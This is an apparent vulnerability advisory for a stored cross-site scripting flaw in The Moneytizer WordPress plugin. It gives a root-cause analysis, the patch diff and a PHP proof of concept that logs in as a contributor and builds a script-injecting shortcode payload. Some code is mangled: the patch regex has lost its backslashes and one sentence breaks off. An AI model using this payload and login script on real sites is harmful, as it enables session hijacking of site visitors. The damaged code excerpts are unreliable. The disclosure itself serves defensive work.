Atomic Edge analysis of CVE-2025-62756:
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in The Moneytizer WordPress plugin versions up to and including 10.0.9. The vulnerability exists in the plugin’s shortcode handler and API functions, allowing contributor-level or higher authenticated users to inject malicious scripts into pages. The CVSS score of 6.4 reflects the medium severity of this issue.
Atomic Edge research identified the root cause as insufficient input sanitization and output escaping in multiple plugin files. The primary vulnerable function is `themoneytizer_shortcode()` in `/the-moneytizer/themoneytizer-shortcode.php`. This function directly passes user-controlled shortcode attributes to the `getSpace()` method in `/the-moneytizer/themoneytizer-api.php` without validation. The `getSpace()` method then unsafely concatenates the user-provided `$token` parameter into HTML output without escaping, specifically within the `id` attribute of div elements on lines 32, 35, and 38 of the vulnerable version.
Exploitation occurs through WordPress’s shortcode system. An attacker with contributor privileges creates or edits a post containing a malicious shortcode like `[themoneytizer id=”1-16″>alert(document.domain)”]`. The `id` parameter value bypasses the expected format validation. When the post is viewed, the plugin’s `themoneytizer_shortcode()` function receives this payload and passes it to `getSpace()`. The method constructs HTML with the payload directly embedded, creating a div element like `
The patch addresses the vulnerability through multiple layers of defense. In `themoneytizer-shortcode.php`, the shortcode handler now uses `shortcode_atts()` with a default value and applies `sanitize_text_field()` to the id parameter. A regex pattern `’/^d+-d+$/’` validates the token format before processing. In `themoneytizer-api.php`, the `getSpace()` method validates the token array length, casts components to integers using `intval()`, reconstructs a safe token, and applies `esc_attr()` to the token before output. The widget file also adds integer casting and output escaping functions like `esc_attr()` and `esc_html()`.
Successful exploitation allows attackers to inject arbitrary JavaScript that executes in the context of any user viewing the compromised page. This can lead to session hijacking, administrative account takeover, content defacement, or redirection to malicious sites. Since the payload is stored in the database, it affects all users who visit the page, including administrators. The attacker can perform actions as the victim user, potentially escalating privileges to administrator level.
Differential between vulnerable and patched code
--- a/the-moneytizer/themoneytizer-api.php
+++ b/the-moneytizer/themoneytizer-api.php
@@ -21,19 +21,24 @@
}
public function getSpace($token,$decode = true) {
+ $response = '';
if($token != NULL) {
$token_split = explode("-", $token);
- $site_id = $token_split[0];
- $ad_id = $token_split[1];
+ if ( count($token_split) < 2 ) {
+ return '';
+ }
+ $site_id = intval($token_split[0]);
+ $ad_id = intval($token_split[1]);
+ $safe_token = $site_id . '-' . $ad_id;
if($ad_id == 16){
- $response = '<div class="outbrain-tm" id="'.$token.'"><script src="//ads.themoneytizer.com/s/gen.js"></script><script src="//ads.themoneytizer.com/s/requestform.js?siteId='.$site_id.'&formatId='.$ad_id.'" ></script></div>';
+ $response = '<div class="outbrain-tm" id="'.esc_attr($safe_token).'"><script src="//ads.themoneytizer.com/s/gen.js"></script><script src="//ads.themoneytizer.com/s/requestform.js?siteId='.$site_id.'&formatId='.$ad_id.'" ></script></div>';
}
elseif($ad_id == 25){
- $response = '<div class="adyoulike-tm" id="'.$token.'"><script src="//ads.themoneytizer.com/s/gen.js"></script><script src="//ads.themoneytizer.com/s/requestform.js?siteId='.$site_id.'&formatId='.$ad_id.'" ></script></div>';
+ $response = '<div class="adyoulike-tm" id="'.esc_attr($safe_token).'"><script src="//ads.themoneytizer.com/s/gen.js"></script><script src="//ads.themoneytizer.com/s/requestform.js?siteId='.$site_id.'&formatId='.$ad_id.'" ></script></div>';
}
else{
- $response = '<div id="'.$token.'"><script src="//ads.themoneytizer.com/s/gen.js"></script><script src="//ads.themoneytizer.com/s/requestform.js?siteId='.$site_id.'&formatId='.$ad_id.'" ></script></div>';
+ $response = '<div id="'.esc_attr($safe_token).'"><script src="//ads.themoneytizer.com/s/gen.js"></script><script src="//ads.themoneytizer.com/s/requestform.js?siteId='.$site_id.'&formatId='.$ad_id.'" ></script></div>';
}
}
return $response;
--- a/the-moneytizer/themoneytizer-shortcode.php
+++ b/the-moneytizer/themoneytizer-shortcode.php
@@ -1,7 +1,7 @@
<?php
add_action( 'wp_enqueue_scripts', 'add_thickbox' );
-//add_shortcode('themoneytizer', 'themoneytizer_shortcode');
+add_shortcode( 'themoneytizer', 'themoneytizer_shortcode' );
add_action('wp_enqueue_scripts', 'themoneytizer_rc_asc_replace_shortcode');
add_action('media_buttons', 'themoneytizer_media_buttons', 15);
add_action('admin_footer', 'themoneytizer_media_buttons_popup');
@@ -29,11 +29,18 @@
}
function themoneytizer_shortcode( $atts ) {
-
- $api = new themoneytizer_API();
- $display = $api->getSpace($atts['id']);
+ $atts = shortcode_atts( array(
+ 'id' => '',
+ ), $atts, 'themoneytizer' );
+
+ $id = sanitize_text_field( $atts['id'] );
- return $display;
+ if ( ! preg_match( '/^d+-d+$/', $id ) ) {
+ return '';
+ }
+
+ $api = new themoneytizer_API();
+ return $api->getSpace( $id );
}
function themoneytizer_media_buttons($context) {
@@ -59,10 +66,10 @@
foreach ($spaces as $space) {
if($space->tag_type == 0 && $space->tag_name == $space->form_name){
- $token = $website->site_id.'-'.$space->ad_id;
- echo '<option data-token="'.$token.'" value="'.$token.'"><b>';
- _e($space->tag_name,'themoneytizer');
- echo'</b></option>';
+ $token = intval($website->site_id).'-'.intval($space->ad_id);
+ echo '<option data-token="'.esc_attr($token).'" value="'.esc_attr($token).'"><b>';
+ echo esc_html__($space->tag_name,'themoneytizer');
+ echo'</b></option>';
}
}
}
--- a/the-moneytizer/themoneytizer-widget.php
+++ b/the-moneytizer/themoneytizer-widget.php
@@ -69,16 +69,19 @@
$ad_slot = explode('-',$ad_slot);
$site_id = $ad_slot[0];
$ad_id = $ad_slot[1];
+ $safe_site_id = intval($site_id);
+ $safe_ad_id = intval($ad_id);
+ $safe_token = $safe_site_id . '-' . $safe_ad_id;
if(get_locale() == "fr_FR"){
- echo '<option selected data-token="'.$site_id."-".$ad_id.'" value="'.$site_id."-".$ad_id.'"><b>'.$array_formats[$ad_id].'</b></option>';
+ echo '<option selected data-token="'.esc_attr($safe_token).'" value="'.esc_attr($safe_token).'"><b>'.esc_html($array_formats[$safe_ad_id]).'</b></option>';
}else{
- echo '<option selected data-token="'.$site_id."-".$ad_id.'" value="'.$site_id."-".$ad_id.'"><b>'.$array_formats_en[$ad_id].'</b></option>';
+ echo '<option selected data-token="'.esc_attr($safe_token).'" value="'.esc_attr($safe_token).'"><b>'.esc_html($array_formats_en[$safe_ad_id]).'</b></option>';
}
}
foreach ($spaces as $space) {
if($space->tag_type == 0 && $space->tag_name == $space->form_name){
- $token = $website->site_id.'-'.$space->ad_id;
- echo '<option data-token="'.$token.'" value="'.$token.'"><b>'; _e($space->tag_name,'themoneytizer'); echo '</b></option>';
+ $token = intval($website->site_id).'-'.intval($space->ad_id);
+ echo '<option data-token="'.esc_attr($token).'" value="'.esc_attr($token).'"><b>'; echo esc_html__($space->tag_name,'themoneytizer'); echo '</b></option>';
}
}
}
--- a/the-moneytizer/themoneytizer.php
+++ b/the-moneytizer/themoneytizer.php
@@ -3,7 +3,7 @@
Plugin Name: The Moneytizer
Plugin URI: http://www.themoneytizer.com/
Description: Plugin of the ad network The Moneytizer that facilitates the integration of your ad tags
-Version: 10.0.9
+Version: 10.0.10
Author: The Moneytizer
Author URI: https://www.themoneytizer.com/
License: GPL2
Proof of Concept (PHP)
NOTICE :
This proof-of-concept is provided for educational and authorized security research purposes only.
You may not use this code against any system, application, or network without explicit prior authorization from the system owner.
Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.
This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.
By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-62756 - The Moneytizer <= 10.0.9 - Authenticated (Contributor+) Stored Cross-Site Scripting
<?php
$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload to inject - creates a div with malicious script in id attribute
$malicious_id = '1-16"><script>alert(document.domain)</script>';
$shortcode = '[themoneytizer id="' . $malicious_id . '"]';
// Create a new post with the malicious shortcode
$post_data = array(
'post_title' => 'XSS Test Post',
'post_content' => 'This post contains a malicious shortcode. ' . $shortcode,
'post_status' => 'draft',
'post_type' => 'post'
);
// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// First, get the login page to obtain nonce
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.com/wp-login.php');
$login_page = curl_exec($ch);
// Extract login nonce (simplified - real implementation would parse HTML)
// For demonstration, we'll use direct POST to admin-ajax or wp-login
// Perform login via wp-login.php
$login_params = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => 'http://vulnerable-wordpress-site.com/wp-admin/',
'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.com/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_params));
$login_response = curl_exec($ch);
// Check if login was successful by accessing admin area
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.com/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$admin_page = curl_exec($ch);
if (strpos($admin_page, 'wp-admin-bar') !== false) {
echo "[+] Successfully logged in as contributorn";
// Now create the malicious post
// First get nonce for creating posts (from post-new.php or via REST API)
// This is simplified - real implementation would extract nonce from page
// For demonstration, we'll show the payload that would be injected
echo "[+] Malicious shortcode to inject: " . $shortcode . "n";
echo "[+] When rendered, creates: <div id="1-16"><script>alert(document.domain)</script>">n";
echo "[+] The script executes when any user views the postn";
// Actual POST creation would require nonce extraction and proper API call
// curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.com/wp-admin/post.php');
// curl_setopt($ch, CURLOPT_POST, true);
// curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
// $result = curl_exec($ch);
} else {
echo "[-] Login failedn";
}
curl_close($ch);
?>







